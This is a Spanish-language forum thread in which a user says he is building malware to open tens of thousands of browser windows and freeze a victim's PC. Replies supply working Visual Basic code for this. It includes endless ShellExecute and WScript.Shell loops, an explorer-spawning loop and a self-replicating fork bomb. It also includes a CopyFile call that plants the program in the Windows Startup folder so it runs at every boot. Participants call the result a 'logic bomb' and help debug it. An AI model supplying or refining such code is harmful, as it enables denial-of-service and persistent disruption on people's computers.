abrir 65000 ventanas de explorer ??

[Zion_Tm]

Guenas  estoy intentando crear un malware
tengo este codigo

Código:

Option Explicit
'Flag para el MouseMove
Dim flag As Boolean
'Api ShellExecute para abrir el vínculo al presionar en el Label
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'Para el modo de ventana en el ShellExecute
Private Const SW_SHOWNORMAL = 1





Private Sub Form_Load()
Dim i As Integer
For i = 1 To 65000
'le pasamos a ShellExecute el hwnd del form,  que tiene la url
'y como se mostrará la ventana del navegador
ShellExecute Me.hwnd, vbNullString, "www.montevideo.com.uy", vbNullString, "C:\", SW_SHOWNORMAL

Next i
End Sub

Con esto abro 1 ventana del internet explorer e intenta abrir la misma pagina 65000 veces. Lo que quiero hacer es que se abran 65000 ventanas del explorer, ovbiamente agotando la memoria y colgando el pc.
Alguien sabe como ??

Zion_Tm

[Guan]

En lugar de abrir ventanas del explorer mejor abre webs, por ejemplo google.es, o webs porno o lo k sea (lo digo solo como algo educativo... ¿eeeh?)

Mira usa el objeto WScript.Shel

Código:

Private sub
Set snort = CreateObject("WScript.Shell")
do
snort.run "http://www.google.es"
loop
end sub

Esto haria un bucle
do...
...loop
se decir, infinito para hacer lo qe qieres hacer lo veo mejor qe el
for...
...next

Y si solo qieres abrir el navegador ( el predeterminado, da igual qe sea firefox qe ie, qe opera...) pues ejecuta una variable con la pagina de inicio, qe la puedes comprobar en el registro

[Zion_Tm]

Nop , lo que hace ese code es abrir una pagina web e intentar cargarla indefinidament e ( loop ), lo que quiero hacer es abrir muchas paginas web; se que se puede hacer porque hace un año me apesque un malware que me abrio como 1000 internet explorer y se me colgo la pc :S , como se hara en visual ??

[SiL3nC3]

Bueno, a groso modo, creo que si tienes el proceso para abrir una pagina web (por lo que se tienes que usar librerias), simplemetne ponle un timer que se repita 65000 veces y tendrias 65000 paginas webs abiertas.

Bueno eso seria lo logico

[Korpex]

dim x as long
for =0 to 6500
       shell("explorer.exe
Para ver este enlace Registrate o Inicia Sesion")
next x

Espero que te sirva

Saludos         [krpx]

[Guan]

Nop , lo que hace ese code es abrir una pagina web e intentar cargarla indefinidament e ( loop ), lo que quiero hacer es abrir muchas paginas web; se que se puede hacer porque hace un año me apesque un malware que me abrio como 1000 internet explorer y se me colgo la pc :S , como se hara en visual ??
[/quote
   Claro, pero al cargarla indefinidament e y en ventanas diferentes, cuelga la pc, ese es el objetivo no?

[Zion_Tm]

Me sirvio  jeje de aca sale la base de una bomba logica
Gracias 

[crypto136]

una sugerencia, si vas a usar el codigo sin timer o sea con for next la variable que vas a usar para el for debe ser Long y no Integer porque siendo Integer solo cojeria 35756 ventanas ese es el limite de las variables Integer y las Long tienen 65500.... lo que digo de las variables bien puede servir para un scanner de puertos

[ziBboh]

Estoy de acuerdo con Crypto, puedes hacer eso y ademas ponerle mejoras y si se convierte en Bomba Logica hay un tema en este foro de visual basic que dedique a las bombas logicas, espero y participes. Si quieres agregame al msn.

[nzer]

el problema del DO y LOOP es q deja al Virii vulnerable .... con For y Next no

[-SharK_90-]

Esto lo que hace es abrir el Explorador de Windows.. infinitamente::!!
((This code was made by SharK_90))

For x = 1 To 1
Do While x = 1
Shell "explorer "
Loop
Next x

La unica forma de pararlo es reiniciando el PC, y si lo dejas llega un momento en que se te traba la maquina...!!!
SALU2 -- By SharK

[Ther0x]

Tambien puedes hacer esto:

Código:

Do
Shell(App.Path & "/" & App.Exename & ".exe")
Loop

Es lo mismo pero en vez de ejecutar el explorer se ejecuta a si mismo

[Ther0x]

Perdón, se me olvidó poner esto:

Código:

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, Optional ByVal bFailIfExists As Long) As Long



FileSystemObject = CopyFile(App.Path & "/" & App.Exename & ".exe", "C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\hola.exe")

Con esto se copia al menú inicio para ejecutarse cada vez que se arranque el equipo. Fijate en la declaración de la API donde pone optional, eso es importante porque esa API tiene 3 argumentos, el primero es el archivo de origen, el segundo es el destino, y el tercero no tengo ni idea, y si no pones lo de optional tendrás que usar ese argumento.

Espero que sirva...